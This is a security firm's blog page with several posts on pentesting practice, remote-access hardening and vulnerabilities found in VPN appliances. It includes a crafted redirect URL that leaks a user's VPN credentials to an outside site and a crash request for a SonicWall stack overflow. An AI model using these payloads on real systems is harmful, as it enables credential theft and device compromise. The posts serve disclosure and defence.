Normal view

There are new articles available, click to refresh the page.
Before yesterdaySec Team Blog

Exploiting stale ADIDNS entries

25 September 2023 at 09:46
The correct IP address is sometimes all you need to exploit a remote target. Background I realise this article will not help me with my colleagues who believe I just happen to get lucky on every assessment I’m on. Nevertheless, during a recent internal pentest, our first objective was to attempt to bypass the Network … Continue reading Exploiting stale ADIDNS entries

Producing a POC for CVE-2022-42475 (Fortinet RCE)

14 March 2023 at 10:24
Late last year a new remote code execution vulnerability was discovered in Fortinet’s SSLVPN service. Given the relative lack of information surrounding it at the time, and the fact I’d have some uninterrupted research time due to a lengthy flight, I decided to attempt to produce a POC for the vulnerability. Background information I started … Continue reading Producing a POC for CVE-2022-42475 (Fortinet RCE)

Internal security recommendations survey

11 October 2021 at 13:11

During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.

The survey

Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.

In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.

I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below.
After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.

Results

Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:

  1. Network isolation (173)
  2. Security patching (107)
  3. Configurations hardening (100)
  4. Limit external exposure (97)
  5. SIEM/SOC (95)
  6. Awareness training (95)
  7. Audit (89)
  8. Multi-factor authentication (87)
  9. Privileged access management (82)
  10. Backups (49)
  11. EDR/AV (45)
  12. LAPS (41)
  13. Robust password policy (40)
  14. DMZ (37)
  15. WAF (37)
    […]
  16. Contact SCRT 😉 (22 points)

If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.

  1. Network isolation (25)
  2. SIEM/SOC (22)
  3. Audit (22)
  4. Security patching (20)
  5. Configurations hardening (20)
  6. Awareness training (15)
  7. Privileged access management (14)
  8. Multi-factor authentication (14)
  9. Limit external exposure (11)
  10. EDR/AV (9)
  11. Robust password policy (8)
  12. LAPS (7)
  13. Backups (7)
  14. Bitlocker (6)
  15. Physical access (5)
    […]
  16. Contact SCRT 😉 (4)

Discussion

The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.

I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.

When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.

Wrapping things up

Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:

  • Prevent the initial intrusion
  • Detect the intrusion
  • Limit its propagation
  • Protect/preserve sensitive data
  • Manage risk

There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.

Stealing user passwords through a VPN’s SSO

25 February 2021 at 15:57

Last year I got this idea that I should attempt to pay for my holidays to Japan by hunting for bounties in security appliances while in the plane. A full 10 hours of uninterrupted focus on one solution seemed like it should yield interesting results. So I started reverse engineering the Firewall of a relatively common brand which has a private bug bounty. Due to this reason, I won’t be giving out the full details of the issue I discovered, but I find the vulnerability to be quite interesting and worth discussing. So I attempt to do this here without breaching any disclosure terms…

This happened relatively shortly after I had discovered some issues in Sonicwall appliances (there may well be more of them discussed here in the short future), so I was still investigating SSL VPNs and searching for ways to compromise them.

One of the features that most SSL VPNs offer is the ability to provide single sign-on for internal applications once a user is authenticated to the VPN device. Unless a fancier protocol like OAuth2 or SAML is used, a VPN admin might be required to specify a URL that allows the user to “seamlessly” authenticate to the back-end server. This might look like the following:

https://backendserver/login?username={{username}}&password={{password}}

When the user attempts to access the back-end application, a templating engine will automatically replace the username and password with the user’s data and thus authenticate successfully with the back-end server.

In other cases, the back-end server might accept Basic, Digest, NTLM or other types of authentication, which could also be configured by a VPN admin.

The first vulnerability I discovered was a pretty straightforward stack-based buffer overflow in the way the SSL VPN parsed the Negotiate authentication header. However, it was only exploitable from a back-end server. Worst case scenario, a server administrator (or any person who could tamper with internal communications) could potentially compromise the SSL VPN device. I wasn’t particularly enthusiastic about this finding as in practice, I didn’t really see many cases where I’d be able to exploit it. But I did continue researching how the device parsed these authentication headers in order to achieve single sign-on.

It turns out that the device did a pretty simple pattern match and replace on the {{username}} and {{password}} strings that were detected in the HTTP request. Where it got interesting, is when I noticed that these patterns were also replaced in the headers of the server’s Response for some reason. Not quite sure whether there is a legitimate reason to do so, or if this is an oversight, but I was wondering whether there was a way to exploit this in order to recover a user’s password.

Essentially, as an attacker we would need to find a way to get a specific pattern in the headers of the HTTP response from an application which is accessed through the VPN (even if no SSO is configured for it by the way). Unfortunately, I couldn’t find a generic way of doing so, but it is possible if one of the back-end applications is vulnerable to an insecure redirect.

When exploiting such a vulnerability, an attacker has to convince a user to click on a malicious link which will redirect the user to another location. Unless it is done in JavaScript, the redirection is generally done with a Location HTTP header containing the new location to visit.

This is very convenient in our case, as it allows us to recover the user’s VPN password as long as we can achieve the two following things:

  • Know the location of an insecure redirect on any application accessed through the VPN
  • Convince an authenticated user to visit a maliciously prepared URL

For instance, if I can get a user to click on the following link:

https://backendapp/redirect?url=https://www.scrt.ch/?user={{username}}&password={{password}}

The user will end up visiting SCRT’s website while providing his or her username and password in the URL, since the browser will see the following response from the application.

HTTP/1.1 302 Found
Location: https://www.scrt.ch/?user=USER&password=Password01

Obviously this is not the most serious vulnerability to be discovered but I thought it was quite different from what I usually see and worth presenting quickly. There might be other devices out there vulnerable to similar flaws or templating issues.

Unfortunately, it’s only after I did the research and reported the various issues that I noticed that the bug bounty program was no longer issuing any rewards, so I wasn’t even close to paying for my trip.

State of Pentesting 2020

28 December 2020 at 08:04

To many people, pentesting (or hacking in a broader sense) is a dark art mastered by some and poorly understood by most. It has evolved quite substantially throughout the years, guided by new vulnerabilities, changing behaviours and maybe most importantly the development and release of new tools, be they offensive or defensive.

In this blog post, I wanted to present how pentests have evolved since I started my pentesting journey some 12 years ago. Note that none of this is backed by hard data, but on my own feelings after seeing a great number of tests performed throughout the years.

When it comes to the types of pentests we perform, we see that while standard internal or external tests are performed by companies who have never or rarely had any security testing done beforehand, seasoned companies tend to ask for more specific testing of applications, systems or processes.

Red or Purple teaming approaches are preferred in order to establish not only which vulnerabilities are present, but also determine whether the defensive efforts are properly prioritized and implemented.

A lot of testing has now also shifted to the Cloud, and although some aspects of these tests remain similar, there are a number of subtleties provided by each Cloud provider that need to be considered.

In this post, I’ll have a look at how internal pentests have evolved throughout the years.

Internal pentests

When I started pentesting, the MS08-067 (Conficker) vulnerability had just been published and for some (long) time afterwards, compromising a company was all about discovering which system hadn’t been patched, exploiting it with Metasploit, cracking the LM or NTLM hash of the local administrator and reusing it throughout the company to compromise all systems.

Even though we still occasionally discover systems vulnerable to MS08-067, the “entry point” into the network has changed throughout the years. For some time, JBoss and Tomcat servers were the holy grail of pentesters, as they tended to be installed with an administration interface which is often poorly protected (if protected at all) which allowed to deploy new applications and thus run arbitrary commands on the server.

A happy sight for a pentester

In most cases these commands were run with SYSTEM privileges allowing for a full compromise. This latter fact is an issue that we still routinely discover, where applications run with elevated privileges on a server for no particular reason apart from the fact that it’s easy to do! I’d recommend having a look at Group-Managed Service Accounts to attempt to avoid this.

Thankfully, the more recent versions of these application servers either do not install a management interface or simply do not provide any default credentials any more, which limits the ways in which they can be compromised, although unauthenticated JMX or Java RMI interfaces can often still be exploited with tools such as ysoserial.

Sometimes it feels like stealing candy from a child

A little more recently, MS17-010 became the new norm in order to compromise a workstation or server, and very much like MS08-067, it can often still be exploited nowadays, despite the patch being available for over 3 years. The only “difficulty” is to find that hidden server that hasn’t been patched in years but can’t be decommissioned because it’s “too sensitive”. This might come in as a surprise to some, but hackers rarely spend much time on the servers you just installed and hardened. Instead, they will search for the old ones which you’re trying to forget about!

We’re not going through the front door, but around it!

The “entry point” or first vulnerability has certainly changed multiple times throughout the years, but the concept of compromising the local administrator account and reusing it elsewhere stayed true for a long time. However, the fact of cracking the password was never really required, as pass-the-hash techniques could be abused instead. The concept of actually cracking a NTLM hash and recovering the clear-text password is mostly used to generate password statistics nowadays.

One of the more impactful developments has been the adoption of LAPS, or similar password management tools, which allow administrators to manage the local administrator passwords for all domain-joined computers. This completely prevents the previously discussed lateral movements and is probably the single biggest improvement we have seen over the years, although for it to really be efficient, all other local accounts must be removed!

Due to this, it is no longer interesting to recover the local accounts after compromising a server. Instead, tools such as Mimikatz are used to recover the clear-text credentials (or NTLM hash) of connected users directly from the machine’s memory. This allows for the compromise of domain users that have recently authenticated to the machine. Compromising a domain administrator account is therefore achieved by compromising any server (or workstation…) where such an account is logged on.

That’s a nice password, good thing we don’t need to crack it!

Even though Microsoft has recommended for years that these accounts be used as little as possible, it is still a relatively common practice to use domain administrator accounts for routine administration purposes or even for service accounts. It’s just so much simpler that way!

When it comes to discovering the machines used by domain administrators and how to compromise them, the development of tools such as BloodHound have shown that it is not always necessary to exploit an actual vulnerability to get there, but simply abuse a (mis)configuration of the Active Directory. Overly broad permissions on AD objects can rapidly be exploited by attackers to elevate privileges within a domain.

Let’s find a path to domain admin

Kerberoasting is another fun technique which is commonly used nowadays as it allows any domain user to essentially recover a non-replayable hash of accounts which have a Service Principal Name (usually service accounts). This is one of the cases where cracking a hash is actually necessary. Thankfully for attackers, service accounts are often ancient and set with a password which never expires. In many cases it is the name of the service followed by the year the service was installed. These passwords will take seconds to break and often grant extensive access to the information system.

Nevertheless, BloodHound and Kerberoasting attacks still require an initial domain account to be used. Nowadays, it is often much easier to compromise an account rather than compromising a workstation or server.

For some time, a simple domain account was sufficient to compromise high privileged credentials in GPPs as these were encrypted in a reversible format. Even though this has now been “patched” (essentially by removing the vulnerable feature) it is always worth grepping for cpassw in SYSVOL, just in case.

But how do we actually compromise this initial account?

Responder is a fantastic tool which allows to recover a non-replayable hash from computers that still use legacy protocols such as LLMNR and NBNS for name resolution. The hash can be recovered by forcing the vulnerable system to authenticate to the attacker’s one. At this stage, the hash could potentially be broken (probably because the password is Welcome2020) but it doesn’t actually need to be, since NTLM is vulnerable to relay attacks. Instead of recovering the account hash, an attacker can simply the authentication to another system with the help of tools such as ntlmrelayx from impacket.

Responder also has a Powershell counterpart named Inveigh

The impact of such attacks depends on the privileges of the compromised account. In the worst case scenario, a domain administrator account might be compromised in this fashion to directly execute arbitrary commands on the domain controller.

Internal pentests nowadays often revolve around this idea of forcing an account to authenticate to the attacker’s machine. This can be done by abusing LLMNR or NBNS, but it could also be done by simply inserting an image or iframe in unencrypted HTTP traffic, the end result would be similar. The authentication is then relayed to an appropriate system depending on the account privileges, and from there, privilege escalation is achieved through misconfigured Active Directory objects.

Pilfering the Active Directory for these misconfigurations has become somewhat of an art and there are several combination of issues which can potentially be abused to execute code on a targeted machine if the appropriate credentials are “available” on the network. This article from last year presents several ways of abusing Kerberos delegation for example. Other simpler ways exist, such as searching for clear-text passwords in object descriptions which by default are available to all.

The “printer bug” can also be used in many cases to force a machine account to authenticate to an attacker’s machine. If the machine happens to have admin privileges on another machine (this is easy to discover with BloodHound for example), this gives instant access to the second machine with high privileges.

The current “meta” for internal pentests is to run Responder alongside ntlmrelay to gain initial access, and then replay credentials compromised with Mimikatz and abuse AD misconfigurations to compromise a domain administrator account. Obviously this is a bit of an oversimplification as there are still other vulnerabilities that can be exploited, but it is often the path of least resistance.

And of course, while I’m writing this, the ZeroLogon vulnerability was published, ensuring pentesters a healthy couple years of directly compromising domain controllers without going through everything I just discussed!

So how can you defend against this?

The initial part of the attack process is based on the NTLM authentication protocol and its weakness against relay attacks. Obviously if you disable NTLM authentication altogether and exclusively use Kerberos, this particular problem is solved, but in practice, this is near impossible to do.

One possibility is to disable LLMNR and NBNS, but it won’t prevent malicious users from inserting images into unencrypted HTTP traffic or cases such as the printer big discussed above. Thankfully, there is another solution which is the fact of requiring SMB signing for both clients and servers. This effectively prevents the relaying attacks on the SMB protocol. Unfortunately, NTLM authentication can also be used in cross-protocol attacks, where an authentication to an HTTP server for example can be relayed to a SMB server or vive-versa. Other protections such as channel binding or proper use of TLS are required to mitigate these attacks. A nice article regaring NTLM relay and its mitigations can be found here.

The second part of the attacks relies on the ability to use mimikatz to compromise credentials and attack systems which are used simultaneously administered by lower privileged accounts and used by higher privileged accounts. The first recommendation i’d give here is to not rely on your anti-virus to block Mimikatz. There are so many different evasion techniques available, that one of them will always end up working. Instead, prefer the protection of LSASS with Credential Guard. I also highly recommend the use of the Protected Users group for any privileged account. Similarly, they should all be marked with the Account is sensitive and cannot be delegated property to avoid them being abused in Kerberos delegation attacks.

And finally the harder part is implementing a proper privileged account management hygiene. To avoid privilege escalation through a compromised system, it must be impossible for a more privileged account to be used on a system where a lesser account has administrative privileges. A tiered administration approach can be used, such as the one proposed by Microsoft here.

Microsoft’s administrative tiers

I’d recommend reading the whole article, but i’ll attempt to very briefly summarise the key points:

  • Setup a minimum of 3 administrative tiers/groups in the Active Directory. This would be for domain admins, server admins and workstation admins for example.
  • Implement the concept of Privileged Access Workstations (PAW) for these administrators. This is actually harder to implement than one might think, especially since most companies will not want to provide multiple workstations for administrators. One relatively straightforward way of doing this is using a hardened “base” laptop for administrative purposes and login to a VDI or virtual machine for all “user” tasks.
  • Restrict access and logon between administrative tiers with firewalls and group policies
  • Use Windows Firewall to allow access to the various tiers only from authorised PAWs for the associated tier.
  • Implement Multi-factor authentication for administrators
  • Put all admin accounts in the Protected Users group
  • Mark all admins as sensitive for delegation

If you feel like this is not enough, you could also go for an ESAE Administrative Forest (also sometimes called Red Forest).

One constant that I have seen throughout the years and companies where I have performed tests is the lack of proper internal network filtering. Even though it is getting rarer nowadays to find a completely “flat” network with all workstations and servers on the same subnet, there is rarely any firewalling performed between subnets and pretty much never any within a given subnet. This is a shame as proper filtering can prevent a great number of exploits by simply restricting access to the vulnerable services.

I’ve also regularly been asked the question “What solution can we buy to protect against this or prevent that?”. But in most cases, it is a lot better to properly setup and configure a system which is already in place (such as Windows and Active Directory for example) rather than acquire a new solution that will just increase the overall attack surface. Security products can include security vulnerabilities, as has been demonstrated numerous times.

EDR solutions or “next-generation” anti-viruses are all the rage right now, promising to detect malicious payloads and behaviours. Even though they definitely provide an additional hurdle for intruders, a skilled attacker will probably always be able to circumvent the solution, with techniques such as the ones discussed by my colleague @plowsec here and here. Again, relying on a specific security solution rather than applying defense in depth techniques is not the way to go.

What’s next?

Supposing all companies apply the protections discussed above such that NTLM relaying is no longer possible, credentials are protected in memory and domain admin accounts cannot be compromised any more. How will pentests evolve? I’m pretty sure this will depend on new quality tools being developed and released, as the ones discussed in this post have shaped the way pentests are performed now.

One thing that is important to note is that domain administrator accounts are not actually all that useful in a targeted attack. During pentests they are always seen as the main objective because they essentially grant access to everything in an organisation, but a real attacker does not need access to everything. If appropriately targeted, a single non-administrator account can be sufficient to gain access to a specific piece of information. Figuring out which account has that specific access and where it might be compromised will be all the more important.

If we imagine that credentials cannot be compromised in-memory any more, I believe attackers will resort to older techniques such as key logging or even just phishing to get a victim’s credentials. This however assumes that passwords will remain as the main authentication factor. Hopefully this won’t be the case, but currently it looks like there is still some time ahead of us before they are replaced by something better.

As to how access to a workstation or server is gained in the first place, I’m confident new techniques and vulnerabilities will arise, be they within Windows or other third party solutions that are used by all and updated much less frequently. Backup or automation solutions seem like strong contenders. However, if companies decide to apply appropriate firewaling rules, these vulnerabilities may never actually be exploited, and attackers may have to rely only on compromised accounts to achieve their purposes, meaning that appropriately managing privileges will remain extremely important.

I’m obviously not a psychic and have no idea what will really happen, but if any of the information in this post can help someone better prepare against current (or future?) attack techniques, it will have served some purpose!

Continuous Pentesting

26 August 2020 at 08:39

At SCRT, we have been performing penetration tests for nearly 20 years now and have always tried to improve our methodologies to match client expectations and deliver the most accurate and useful results from each test we undertake.

Over the last few years, Bug bounty programs have been making a name for themselves as they bring a new approach to assessing the security level of a company, application or system. They allow for a more continuous, albeit less controlled, testing of a targeted scope.

Some people will probably argue that bug bounties and pentests are antagonistic, while I believe that they are two very complementary approaches for achieving a better overall security level. Mature companies tend to move towards a system where penetration tests are performed to discover vulnerabilities and essentially verify the security level of an application or system when it is deployed or updated, and a bug bounty program is then used to ensure a sort of continuous monitoring from a larger population of bug hunters.

There are advantages and drawbacks to both pentesting and bug bounties, which is why they can be used together to achieve better results. I’ve attempted to compare both options in a rather simplified manner, while trying to emphasize where each option outperforms the other.

Obviously some people will disagree with what is considered as an advantage and what isn’t but I have tried to remain as neutral as possible and typically, when it comes to costs, the fact they are essentially unknown and entirely dependent on the number of vulnerabilities and their classification in a bug bounty program will be seen as a clear advantage for some and an inconvenient for others, which is why I’ll let you decide where you stand on that issue.

The same goes for the duration. I would tend to believe that an unlimited test would be more interesting than a limited one, but it also means that the company must be able to react to potential incidents at any time and coordinate more closely with the SOC.

We have noticed that many companies are reluctant to setting up a bug bounty program. Having helped in organising and managing the Public Intrusion Test (PIT) for the Swiss e-voting system last year (which was essentially a temporary bug bounty program), we also understand why. The main issues we ran into can be summarised as such:

  • Poor quality and out of scope submissions
  • Difficult to know how many people (if any) will actually look at the system
  • Difficulty to establish a trust relationship with the participants as they are essentially anonymous
  • Difficulty to define the bounty amounts and control costs (although this wasn’t done by us in this case)

Now I know most Bug bounty platforms will attempt to help companies in managing these issues, but we felt there was a way SCRT could also help our clients bridge the gap between traditional pentesting and bug bounties. This is where our Continuous pentesting offer comes in.

The idea is to take the advantages of both the pentesting and bug bounty worlds while minimising the drawbacks. The main advantage of this system is that whatever elements are included in the scope are assured to be tested by a rotating pool of trusted SCRT engineers at various times throughout the year.

Regarding costs, we are sticking to a more traditional pentesting approach, where we will be using a per-day rather than per-vulnerability model so as to fully control the costs of the tests beforehand.

We cannot provide a 24/7 monitoring of all vulnerabilities within a specific scope, but by avoiding pre-planned dates, it gives us the flexibility to test when new vulnerabilities or types of attacks emerge so that we can verify whether or not your systems are affected in a more dynamic and proactive way.

If you’re interested in this approach, feel free to contact us to get additional details and see how we can best adapt our offer to your requirements.

SCRT on Covid-19 and Remote Access / Working From Home

14 April 2020 at 13:26

Like everybody, SCRT has been adjusting to life under Covid-19 over the last weeks. Thankfully, we’ve been prepared for working from home for quite some time now as many of us do so during normal circumstances anyways. This is however not the case for all companies and we’ve unfortunately been called in to help some of them deal with the unwanted consequences of poorly setting up their remote access (read: they got hacked). So here is a quick blog post detailing the main issues we see with remote access systems and what can be done to avoid them.

From an attacker’s perspective, there are essentially three ways of exploiting a remote access system to reach a company’s internal network:

  1. Compromise the device of an end user and wait until he or she legitimately connects to the system to either steal the credentials or the session
  2. Compromise valid credentials
  3. Compromise the remote access system itself

When we look at it this way, most people will probably be wary of the end user devices connecting to the corporate network as a “new” attack vector since everybody is working from home. But before getting into that, I want to mention the other categories first, as up to now they have been the ones which have been causing the most problems (that we have seen).

Compromising valid credentials

Whatever the remote access system you have setup, whether it be a simple RDP server exposed to the Internet, a Citrix Netscaler or any flavour of SSL-VPN, if the users connecting to them use a single authentication factor (a password), their accounts will get compromised and attackers will gain access to the system. It’s as simple as that.

Some people might be thinking that a “complex” password policy and rotating passwords every few months will avoid this, but the truth is there is always someone within the company who will be using Geneva2020! (supposing your company is based in Geneva) as their password. A decent attacker will quickly find the appropriate account and connect to the system with it.

The only solution here is implementing a second authentication factor. Microsoft wrote a nice post about passwords which can be found here, which shows pretty well why any other measure will be ineffective.

Not all authentication factors are born equal though and there are differences between tokens, certificates or SMSs but whatever the second factor is, it will be better than relying on a single password. If a machine certificate is used as an authentication factor, it does have the advantage of being “unphishable”, unlike any other factor which has to be entered by the user.

So the first recommendation, which shouldn’t come as a surprise, is to implement Multi-Factor Authentication (MFA) for your remote access system. Even if it obviously doesn’t provide perfect security, it is a big step in the right direction.

Compromising the Remote Access System

If 2019 taught us anything, it’s that remote access systems are not as secure as vendors will try to make us believe. Last year, most SSL-VPN vendors were hit by at least one serious vulnerability allowing attackers to break into the protected network:

  • Netscaler (CVE-2019-19781)
  • Fortinet (CVE-2018-13382)
  • Pulse Secure (CVE-2019-11510)
  • SonicWall (CVE-2019-7482)
  • Palo Alto (no CVE)

Let’s add to that Bluekeep (CVE-2019-0708) for RDP and we’ve already got a lot of systems covered. And these are just the ones that were made public!

So the second takeaway here is to always ensure your remote access systems are up to date. Vulnerabilities in these systems have important consequences and are usually very quickly exploited, so make sure you have a way of being notified when a new patch is available and apply it as soon as possible.

Compromising an end user device

And now we get to the final aspect of this post which is attempting to secure your systems from potentially compromised end user devices. In many cases, companies are now allowing employees to remotely connect to the corporate network with their own personal devices on which the company has absolutely no control. There might not even be AppLocker on the device!

The bottom line is that unfortunately, if a compromised device is used to connect to a remote access system, an attacker can pretty much do anything the legitimate user can. Whether you have multi-factor authentication setup or not will not protect you against this. For example, an attacker can simply wait for the legitimate user to authenticate to the SSL-VPNs Web interface and then steal the generated session cookie. If the cookie is bound to the user’s IP address, the attacker can proxy his/her connections through the victim’s workstation.

Preventing a device from being compromised in the first place entirely depends on the end user (in the case where he or she is using their own personal device). Awareness trainings can help, though often only employees who are interested in the subject and therefore need it the least attend unless they are mandatory. Nevertheless, talking about the subject and discussing cases with employees, and therefore integrating them into the company’s defense mechanism will raise awareness and increase the chances of at least detecting the attacks.

MELANI wrote a short document on how users can protect themselves which can be found here. It covers several topics, but I’d say the main recommendation is that if it is at all possible, have a separate work computer from your private one and make sure nobody else uses it.

Protecting against a compromised private device is akin to protecting against a malicious insider. Much like dealing with Covid19, there are mainly two options here:

  • Isolation
  • Detection

This is not rocket science, but most companies still have a hard time properly segmenting their internal network and implementing strict firewall rules, which makes it difficult to truly isolate a malicious user. On the upside, these are issues which all companies should be tackling, whether it’s due to the current situation leading to increased Work from Home, or not.

When I say isolation, I essentially mean applying the least-privilege principle and ensuring a user only has access to what he or she absolutely needs in order to work efficiently. In this way, even if the user’s device is compromised, the attacker can still only access what the user has access to.

When it comes to detection, it is all about detecting patterns of actions which deviate from the norm. Why is someone from IT suddenly attempting to read files on the accounting share? Probably because it’s not really them doing it! This requires some kind of base for comparison, and some intelligence to detect the outliers. A flurry of solutions based, for example, on machine learning techniques exist to do this, but I won’t go so far as to recommend one over the other.

Summary (TL;DR)

So to summarize the contents of this post, my recommendations to secure a remote access solution are:

  • Use multiple authentication factors, and if possible one which is unknown to the user
  • Make sure your remote access solution is up to date
  • Have your employees use a dedicated machine for accessing the network whenever possible
  • Apply the least privileges principle and restrict access to the strict minimum for all users
  • Detect abnormal patterns and behaviours

Without working on these aspects, companies will essentially be blind and very vulnerable to attacks targeting these remote access solutions.

Combining Request Smuggling and CBC Byte-flipping to stored-XSS

30 March 2020 at 07:51

During a recent penetration test we stumbled upon a couple of issues which independently might not have warranted any attention, but when combined allowed to compromise other users by injecting arbitrary JavaScript into their browsers. It goes to show that even certain issues which might not always seem particularly interesting (such as self-XSS) can sometimes be exploited in meaningful ways. I’ll keep this mostly theoretical so as not to divulge any information on the actual targeted system.

The first interesting behaviour we noticed during the assessment was related to the authentication mechanism. When logging in with a valid user account, the application would generate a base64-encoded session cookie which always started with the same values but had differing endings. This often happens when the cookie contains some kind of encrypted information related to the account and a timestamp to define how long the cookie is valid. Given the fact that the start of the cookie was always the same, it pointed to the fact that the encryption mode was either ECB or CBC with a static IV.

The web application actually decrypts the content of the cookie to display the username on the main page. The latter was discovered by attempting a CBC byte-flipping attack which allowed us to see certain blocks of scrambled text in the resulting page.

In this particular case, we weren’t able to generate arbitrary accounts to force the creation of arbitrary cookies, but we did notice a particularly strange behaviour in the authentication mechanism which allowed us to generate semi-arbitrary cookies anyways, which would in turn allow us to generate encrypted blocks for values we could use to inject JavaScript into the page.

It turns out that if we could login with an account named test, it was also possible to login with an account named ./toto/titi/../../test. This username was accepted with the same password as the original one. There is most certainly some other vulnerability here (path traversal or XPath injection maybe?), but given the limited time of the assessment, we weren’t able to exploit it in any other way than the one detailed below.

Given the “name traversal” issue, we could essentially generate encrypted cookies with arbitrary blocks. Since some of these blocks are then decrypted and shown in the web page, we were then able to force the generation of blocks which would result in a self-XSS. Obviously when we first noticed that the username was reflected in the page we attempted to inject JavaScript code directly into the username, but this was actually rejected by the application, so the only way of exploiting the issue was through the manipulation of the encrypted cookie, as its decrypted value was not sanitized. Unfortunately, this would only impact ourselves, unless we found a way to set another browser’s cookie to our malicious value.

This is where Burp’s request smuggler plugin came in handy, as while we were busy encrypting cookies, it also revealed that the web application was vulnerable to a request smuggling vulnerability. This type of vulnerability gives an attacker the ability to prepend another user’s HTTP request to the web application. This is where our previous discoveries related to the cookie parsing came in handy, as the request smuggling issue allowed us to specify the URL and headers of a subsequent request from another browser. In essence, this allows us to specify the cookie used by another browser for one request (although it could be repeated multiple times).

So, by exploiting this issue, we can send our malicious cookie to another user’s browser and therefore have our decrypted malicious javaScript code executed in his browser. That particular page would be rendered with our own cookie and privileges, but any further request would keep the browser’s original cookie and privileges (as long as we don’t perform another smuggling attack…). This would therefore allow our script to interact with the affected domain in any way the legitimate user could. Our Self-XSS was therefore transformed into a stored-XSS! A very restrictive CSP could have made our life harder, but in this case there was none.

I hope this quick post can give you other ideas to exploit weird and seemingly unrelated issues such as these in your own assessments!

SonicWall SRA and SMA vulnerabilities

11 February 2020 at 12:43

Last year, Orange Tsai did some awesome research and discovered several vulnerabilities in SSL VPN providers which can allow an attacker to break into a network through the very device which is supposed to protect it. The vulnerable constructors were:

  • Palo Alto
  • Fortinet
  • Pulse Secure

I’ll admit I’ve always found it particularly ironic to discover vulnerabilities in security-related devices and we’ve had a surprising amount of success at discovering these at SCRT throughout the years.

While reading through Orange’s blog posts, I noticed one comment asking whether any other vendors were affected. Although I can’t find the comment any more (it was several months ago), at the time I figured I might as well have a go at finding vulnerabilities in one of the other VPN vendors. I pretty randomly chose to start looking at SonicWall who recently wrote a post indicating that their products were not vulnerable to the Palo Alto vulnerability. ¯\_(ツ)_/¯

Not knowing much about SonicWall’s products, I searched for what could be an SSL-VPN device and ended up finding the Secure Remote Access (SRA). Thankfully, it is possible to download a trial virtual machine of the device which I recovered and started to analyse. All analysis was done on version 8.1.0.7-22sv of the device, which seemed rather dated, but I couldn’t find a newer version anywhere. I think this particular device has actually been replaced or is in the process of being replaced by the SMA devices which are at least also partially vulnerable to the issues reported below.

I started off by looking at the web interface exposed for the SSL-VPN. This interface contains a number of CGI files in the cgi-bin folder. These can be called remotely and are just 32-bit ELF binaries that are run on Linux. I went through them to understand how authentication was handled to either find a vulnerability in the authentication system itself, but also just to figure out which files can be called without being authenticated.

One of these CGI files is supportLogin which is used to handle certain types of authentication. I discovered a couple of vulnerabilities in here which can be exploited without requiring an account though they need the “Virtual Assist” module to be enabled on the device. To be honest, I do not know whether this is a commonly used module or not.

The first issue I discovered is a SQL injection in a parameter called customerTID. The web application uses a SQLite database and constructs several queries with user-supplied input through the sqlite3 printf functions. In most cases, it uses the %q formatter to appropriately escape quotes. However, as can be seen below, in some instances, a %s is used instead. As this doesn’t perform any escaping, a trivial SQL injection is present.

This leads to a blind SQL injection vulnerability which can be exploited remotely. The most interesting data that is stored in this particular SQLite database seems to be session identifiers for authenticated users in a table named Sessions. If exploited at the right time, this would grant access to the SSL-VPN with various levels of privileges.

This first vulnerability was attributed the following CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7481

In the same CGI file, a second vulnerability which leads to arbitrary code execution was also discovered. This one is a buffer overflow present in the parsing of the browser’s user-agent. The overflow can occur if the user-agent pretends to be Safari, as this results in calling the getSafariVersion function in the libSys.so library.

The getSafariVersion function looks something like what is below.

The memcpy function can be used here to overflow the local buffer. In the SRA, there is no stack canary, so overwriting EIP and using a rop chain to execute commands is simple. In the SMA, there are exploit mitigations in place and exploiting the issue would probably require a leak somewhere else or deeper investigations.

Nevertheless, crashing the CGI can be done with the following request:

GET /cgi-bin/supportLogin HTTP/1.1 
Host: 10.1.0.100 
User-Agent: plop Mac OS X Safari Version/12345678901234567890123456789012345678901234AAAABBBBCCCC lol Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 

The handler will restart automatically so it is possible to re-exploit the issue multiple times for example to brute-force libc’s base address. In practice after less than a 100 attempts, it is usually possible to get arbitrary commands to be run with nobody privileges on the device.

This vulnerability was given the following CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7482

A third pre-authentication vulnerability is a pretty useless directory traversal, as it only allows to test for the existence of a file. In theory, if the file matches a certain structure, it would be possible to read parts of it. It was attributed the following CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7483
